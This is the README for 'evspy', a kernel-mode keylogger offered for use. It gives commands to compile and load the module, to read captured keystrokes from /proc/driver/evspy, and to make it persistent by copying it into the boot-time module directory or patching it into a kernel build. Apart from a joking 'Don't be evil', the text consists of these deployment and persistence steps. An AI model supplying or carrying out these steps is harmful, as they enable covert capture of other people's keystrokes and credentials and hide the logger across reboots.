Evspy is a general purpose kernel-mode keylogger in (early) development stage. The file from where you can read the registered keystrokes is /proc/driver/evspy by default. Only root can read it. Beware users: evspy can troll you. Don't be evil. ** COMPILE ** $ make ** LOAD ** # insmod evspy.ko ** UNLOAD ** # rmmod evspy ** IS IT ALREADY LOADED? ** $ lsmod | grep evspy ** PERSISTENCE ** If you want evspy to be loaded every time system boots, copy it into your kernel module dir: # cp evspy.ko /lib/modules/$(uname -r)/kernel/drivers/input/evspy.ko and update module database: # depmod -a (In some distros it could also be necessary to add it to some rc/config file) Once it has been installed, you can load it when you want with # modprobe evspy ** OTHER ** A patch is supplied (evspy.patch) to be able to compile a kernel with evspy included. If KERN is the directory where your kernel is located, just copy the patch there (KERN/) and copy all the evspy files (*.c, *.h, maps, kmap) to KERN/drivers/input/. Then, cd to KERN and apply the patch: $ patch -p1 < evspy.patch Then you should be able to configure the kernel to include evspy just like any other module: $ make menuconfig Device Drivers --> Input device support --> Event based keylogger $ ...